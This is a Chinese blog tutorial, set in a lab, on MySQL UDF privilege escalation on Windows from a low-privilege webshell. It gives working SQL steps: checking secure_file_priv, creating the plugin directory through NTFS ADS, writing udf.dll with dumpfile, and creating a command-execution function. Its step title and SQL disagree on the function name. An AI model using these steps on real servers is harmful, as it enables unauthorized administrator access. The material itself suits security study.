当我们拿到一个webshell时,通常权限很低,但是mysql是以管理员权限运行的,这时,我们可以利用mysql udf提权提升权限
1.环境准备
1.1.将phpstudy变为系统服务
1.2添加一个普通用户,将apache降权为普通用户
1.3将apache用户赋予phpstudy目录读写权限
重启服务
可以看到,apache已经成功降权
2.获取mysql账号密码
因为我们是利用数据库提权,所以我们要获取mysql数据库root账号密码
2.1通过网站配置文件获取
2.2通过查看数据库的user.MYD文件
3查看数据库是否有导出文件的权限
SHOW VARIABLES LIKE '%secure%'
当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,此时无法提权
当secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/ 目录下,此时也无法提权
当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提
我们利用webshell替换my.ini文件
4查看mysql版本
如果是5.1以上,需要将dll文件放在lib\plugin目录下,5.1以下,需要放到 C:\Windows\system32下
5.查看导出路径
SHOW VARIABLES LIKE "%plugin%"
如果目录不存在,需要手动创建,如果webshell权限够,可以直接创建,如果权限不够,需要用NTFS ADS进行创建
具体可以看这篇文章:https://www.cnblogs.com/luverose/p/4245355.html
select 'It is dll'into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
6.上传udf.dll
直接用webshell上传
或者也可以用数据库写入,选择test库,创建一个表
create table t_tmp(data LONGBLOB); insert into t_tmp values(""); update t_tmp set data=concat(.....)
select * from t_tmp into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; --
文件已经成功创建
7.创建sys_eval函数,用于执行命令和回显
create function cmdshell returns string soname 'udf.dll';
8.执行命令,查看权限,已经成功提升至管理员权限
udf.dll源码参考:https://www.uedbox.com/udf-dll-source/
udf提权方法错误问题参考:https://www.cnblogs.com/Le30bjectNs11/p/4536063.html
附件:
#如无特别声明,该文章均为 原创,转载请遵循
署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-01-22 12:52:18